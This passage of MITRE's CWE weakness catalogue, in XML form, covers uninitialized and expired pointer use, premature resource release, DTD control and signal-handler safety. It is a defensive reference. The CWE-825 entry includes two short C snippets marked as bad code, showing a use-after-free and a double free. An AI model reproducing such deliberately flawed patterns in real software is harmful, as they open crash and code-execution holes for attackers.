					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-09-22</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="824" Name="Access of Uninitialized Pointer" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The program accesses or uses a pointer that has not been
					initialized. </Description_Summary>
				        <Extended_Description>
					          <Text>If the pointer contains an uninitialized value, then the value might not
						point to a valid memory location. This could cause the program to read from
						or write to unexpected memory locations, leading to a denial of service. If
						the uninitialized pointer is used as a function call, then arbitrary
						functions could be invoked. If an attacker can influence the portion of
						uninitialized memory that is contained in the pointer, this weakness could
						be leveraged to execute code or perform other attacks. </Text>
					          <Text>Depending on memory layout, associated memory management behaviors, and
						program operation, the attacker might be able to influence the contents of
						the uninitialized pointer, thus gaining more fine-grained control of the
						memory location to be accessed.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>125</Relationship_Target_ID>
					          <!--Out-of-bounds Read-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>787</Relationship_Target_ID>
					          <!--Out-of-bounds Write-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>There are close relationships between incorrect pointer dereferences and
						other weaknesses related to buffer operations. There may not be sufficient
						community agreement regarding these relationships. Further study is needed
						to determine when these relationships are chains, composites,
						perspective/layering, or other types of relationships. As of September 2010,
						most of the relationships are being captured as chains.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>Many weaknesses related to pointer dereferences fall under the general
						term of "memory corruption" or "memory safety." As of September 2010, there
						is no commonly-used terminology that covers the lower-level variants.</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the uninitialized pointer is used in a read operation, an attacker
							might be able to read sensitive portions of memory.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the uninitialized pointer references a memory location that is not
							accessible to the program, or points to a location that is "malformed"
							(such as NULL) or larger than expected by a read or write operation,
							then a crash may occur.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the uninitialized pointer is used in a function call, or points to
							unexpected data in a write operation, then code execution may be
							possible.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-0211</Observed_Example_Reference>
					          <Observed_Example_Description>chain: unchecked return value (CWE-252) leads to
						free of invalid, uninitialized pointer (CWE-824).
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2768</Observed_Example_Reference>
					          <Observed_Example_Description>Pointer in structure is not initialized, leading
						to NULL pointer dereference (CWE-476) and system
						crash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1721</Observed_Example_Reference>
					          <Observed_Example_Description>Free of an uninitialized
						pointer.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1415</Observed_Example_Reference>
					          <Observed_Example_Description>Improper handling of invalid signatures leads to
						free of invalid pointer.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0846</Observed_Example_Reference>
					          <Observed_Example_Description>Invalid encoding triggers free of uninitialized
						pointer.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0040</Observed_Example_Reference>
					          <Observed_Example_Description>Crafted PNG image leads to free of uninitialized
						pointer.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2934</Observed_Example_Reference>
					          <Observed_Example_Description>Crafted GIF image leads to free of uninitialized
						pointer.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4682</Observed_Example_Reference>
					          <Observed_Example_Description>Access of uninitialized pointer might lead to code
						execution.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4639</Observed_Example_Reference>
					          <Observed_Example_Description>Step-based manipulation: invocation of debugging
						function before the primary initialization function leads to access of an
						uninitialized pointer and code execution.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4000</Observed_Example_Reference>
					          <Observed_Example_Description>Unchecked return values can lead to a write to an
						uninitialized pointer.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-2442</Observed_Example_Reference>
					          <Observed_Example_Description>zero-length input leads to free of uninitialized
						pointer.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1213</Observed_Example_Reference>
					          <Observed_Example_Description>Crafted font leads to uninitialized function
						pointer.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-6143</Observed_Example_Reference>
					          <Observed_Example_Description>Uninitialized function pointer in freed memory is
						invoked </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4175</Observed_Example_Reference>
					          <Observed_Example_Description>LDAP server mishandles malformed BER queries,
						leading to free of uninitialized memory</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-0054</Observed_Example_Reference>
					          <Observed_Example_Description>Firewall can crash with certain ICMP packets that
						trigger access of an uninitialized pointer. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-1201</Observed_Example_Reference>
					          <Observed_Example_Description>LDAP server does not initialize members of
						structs, which leads to free of uninitialized pointer if an LDAP request
						fails.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied and probably under-reported as of September 2010. This
						weakness has been reported in high-visibility software, but applied
						vulnerability researchers have only been investigating it since
						approximately 2008, and there are only a few public reports. Few reports
						identify weaknesses at such a low level, which makes it more difficult to
						find and study real-world code examples.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 7, "Variable Initialization", Page
						312.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-09-22</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="825" Name="Expired Pointer Dereference" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The program dereferences a pointer that contains a location for
					memory that was previously valid, but is no longer valid.</Description_Summary>
				        <Extended_Description>
					          <Text>When a program releases memory, but it maintains a pointer to that memory,
						then the memory might be re-allocated at a later time. If the original
						pointer is accessed to read or write data, then this could cause the program
						to read or modify data that is in use by a different function or process.
						Depending on how the newly-allocated memory is used, this could lead to a
						denial of service, information exposure, or code execution.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>672</Relationship_Target_ID>
					          <!--Operation on a Resource after Expiration or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>465</Relationship_Target_ID>
					          <!--Pointer Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>125</Relationship_Target_ID>
					          <!--Out-of-bounds Read-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>787</Relationship_Target_ID>
					          <!--Out-of-bounds Write-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>There are close relationships between incorrect pointer dereferences and
						other weaknesses related to buffer operations. There may not be sufficient
						community agreement regarding these relationships. Further study is needed
						to determine when these relationships are chains, composites,
						perspective/layering, or other types of relationships. As of September 2010,
						most of the relationships are being captured as chains.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Terminology_Notes>
				        <Terminology_Note>
					          <Text>Many weaknesses related to pointer dereferences fall under the general
						term of "memory corruption" or "memory safety." As of September 2010, there
						is no commonly-used terminology that covers the lower-level variants.</Text>
				        </Terminology_Note>
			      </Terminology_Notes>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the expired pointer is used in a read operation, an attacker might
							be able to control data read in by the application.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the expired pointer references a memory location that is not
							accessible to the program, or points to a location that is "malformed"
							(such as NULL) or larger than expected by a read or write operation,
							then a crash may occur.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the expired pointer is used in a function call, or points to
							unexpected data in a write operation, then code execution may be
							possible.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Choose a language that provides automatic memory management.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When freeing pointers, be sure to set them to NULL once they are
							freed. However, the utilization of multiple or complex data structures
							may lower the usefulness of this strategy.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-71">
					          <Intro_Text>The following code shows a simple example of a use after free
						error:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char* ptr = (char*)malloc (SIZE);</Code>
							              <Code>if (err) {</Code>
							              <Block>
								                <Code>abrt = 1;</Code>
								                <Code>free(ptr);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
							              <Code>if (abrt) {</Code>
							              <Block>
								                <Code>logError("operation aborted before commit", ptr);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>When an error occurs, the pointer is immediately freed. However, this
							pointer is later incorrectly used in the logError function.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-72">
					          <Intro_Text>The following code shows a simple example of a double free
						error:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>char* ptr = (char*)malloc (SIZE);</Code>
							              <Code>...</Code>
							              <Code>if (abrt) {</Code>
							              <Block>
								                <Code>free(ptr);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>...</Code>
							              <Code>free(ptr);</Code>
						            </Block>
						            <Text>Double free vulnerabilities have two common (and sometimes
							overlapping) causes:</Text>
						            <Block Block_Nature="List">
							              <Text>Error conditions and other exceptional circumstances</Text>
							              <Text>Confusion over which part of the program is responsible for
								freeing the memory</Text>
						            </Block>
						            <Text>Although some double free vulnerabilities are not much more
							complicated than the previous example, most are spread out across
							hundreds of lines of code or even different files. Programmers seem
							particularly susceptible to freeing global variables more than
							once.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5013</Observed_Example_Reference>
					          <Observed_Example_Description>access of expired memory address leads to
						arbitrary code execution</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-3257</Observed_Example_Reference>
					          <Observed_Example_Description>stale pointer issue leads to denial of service and
						possibly other consequences</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-1211</Observed_Example_Reference>
					          <Observed_Example_Description>read of value at an offset into a structure after
						the offset is no longer valid </Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied and probably under-reported as of September 2010. This
						weakness has been reported in high-visibility software, but applied
						vulnerability researchers have only been investigating it since
						approximately 2008, and there are only a few public reports. Few reports
						identify weaknesses at such a low level, which makes it more difficult to
						find and study real-world code examples.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-09-22</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="826" Name="Premature Release of Resource During Expected Lifetime" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The program releases a resource that is still intended to be
					used by the program itself or another actor.</Description_Summary>
				        <Extended_Description>
					          <Text>This weakness focuses on errors in which the program should not release a
						resource, but performs the release anyway. This is different than a weakness
						in which the program releases a resource at the appropriate time, but it
						maintains a reference to the resource, which it later accesses. For this
						weaknesses, the resource should still be valid upon the subsequent
						access.</Text>
					          <Text>When a program releases a resource that is still being used, it is
						possible that operations will still be taken on this resource, which may
						have been repurposed in the meantime, leading to issues similar to CWE-825.
						Consequences may include denial of service, information exposure, or code
						execution. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>666</Relationship_Target_ID>
					          <!--Operation on Resource in Wrong Phase of Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>672</Relationship_Target_ID>
					          <!--Operation on a Resource after Expiration or Release-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the released resource is subsequently reused or reallocated, then a
							read operation on the original resource might access sensitive data that
							is associated with a different user or entity.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When the resource is released, the software might modify some of its
							structure, or close associated channels (such as a file descriptor).
							When the software later accesses the resource as if it is valid, the
							resource might not be in an expected state, leading to resultant errors
							that may lead to a crash.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When the resource is released, the software might modify some of its
							structure. This might affect program logic in the sections of code that
							still assume the resource is active.</Text>
						            <Text>If the released resource is related to memory and is used in a
							function call, or points to unexpected data in a write operation, then
							code execution may be possible upon subsequent accesses.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3547</Observed_Example_Reference>
					          <Observed_Example_Description>chain: race condition might allow resource to be
						released before operating on it, leading to NULL dereference
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-studied and under-reported as of September 2010. This weakness has
						been reported in high-visibility software, although the focus has been
						primarily on memory allocation and de-allocation. There are very few
						examples of this weakness that are not directly related to memory
						management, although such weaknesses are likely to occur in real-world
						software for other types of resources. </Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-09-22</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="827" Name="Improper Control of Document Type Definition" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not restrict a reference to a Document Type
					Definition (DTD) to the intended control sphere. This might allow attackers to
					reference arbitrary DTDs, possibly causing the software to expose files, consume
					excessive system resources, or execute arbitrary http requests on behalf of the
					attacker.</Description_Summary>
				        <Extended_Description>
					          <Text>As DTDs are processed, they might try to read or include files on the
						machine performing the parsing. If an attacker is able to control the DTD,
						then the attacker might be able to specify sensitive resources or requests
						or provide malicious content.</Text>
					          <Text>For example, the SOAP specification prohibits SOAP messages from
						containing DTDs.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>706</Relationship_Target_ID>
					          <!--Use of Incorrectly-Resolved Name or Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>442</Relationship_Target_ID>
					          <!--Web Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>829</Relationship_Target_ID>
					          <!--Inclusion of Functionality from Untrusted Control Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>776</Relationship_Target_ID>
					          <!--Unrestricted Recursive Entity References in DTDs ('XML Bomb')-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> If the attacker is able to include a crafted DTD and a default entity
							resolver is enabled, the attacker may be able to access arbitrary files
							on the system. </Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(CPU)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(memory)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The DTD may cause the parser to consume excessive CPU cycles or memory
							using techniques such as nested or recursive entity references
							(CWE-776).</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The DTD may include arbitrary HTTP requests that the server may
							execute. This could lead to other attacks leveraging the server's trust
							relationship with other entities.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2076</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not properly reject DTDs in SOAP
						messages, which allows remote attackers to read arbitrary files, send HTTP
						requests to intranet servers, or cause a denial of service.
					</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Daniel Kulp</Reference_Author>
					          <Reference_Title>Apache CXF Security Advisory (CVE-2010-2076)</Reference_Title>
					          <Reference_PubDate>2010-06-16</Reference_PubDate>
					          <Reference_Link>http://svn.apache.org/repos/asf/cxf/trunk/security/CVE-2010-2076.pdf</Reference_Link>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2010-10-25</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="828" Name="Signal Handler with Functionality that is not Asynchronous-Safe" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software defines a signal handler that contains code
					sequences that are not asynchronous-safe, i.e., the functionality is not
					reentrant, or it can be interrupted.</Description_Summary>
				        <Extended_Description>
					          <Text>This can lead to an unexpected system state with a variety of potential
						consequences depending on context, including denial of service and code
						execution.</Text>
					          <Text>Signal handlers are typically intended to interrupt normal functionality
						of a program, or even other signals, in order to notify the process of an
						event. When a signal handler uses global or static variables, or invokes
						functions that ultimately depend on such state or its associated metadata,
						then it could corrupt system state that is being used by normal
						functionality. This could subject the program to race conditions or other
						weaknesses that allow an attacker to cause the program state to be
						corrupted. While denial of service is frequently the consequence, in some
						cases this weakness could be leveraged for code execution.</Text>
					          <Text>There are several different scenarios that introduce this issue:</Text>
					          <Block Block_Nature="List">
						            <Text>Invocation of non-reentrant functions from within the handler. One
							example is malloc(), which modifies internal global variables as it
							manages memory. Very few functions are actually reentrant.</Text>
						            <Text>Code sequences (not necessarily function calls) contain non-atomic use
							of global variables, or associated metadata or structures, that can be
							accessed by other functionality of the program, including other signal
							handlers. Frequently, the same function is registered to handle multiple
							signals.</Text>
						            <Text>The signal handler function is intended to run at most one time, but
							instead it can be invoked multiple times. This could happen by repeated
							delivery of the same signal, or by delivery of different signals that
							have the same handler function (CWE-831).</Text>
					          </Block>
					          <Text>Note that in some environments or contexts, it might be possible for the
						signal handler to be interrupted itself.</Text>
					          <Text>If both a signal handler and the normal behavior of the software have to
						operate on the same set of state variables, and a signal is received in the
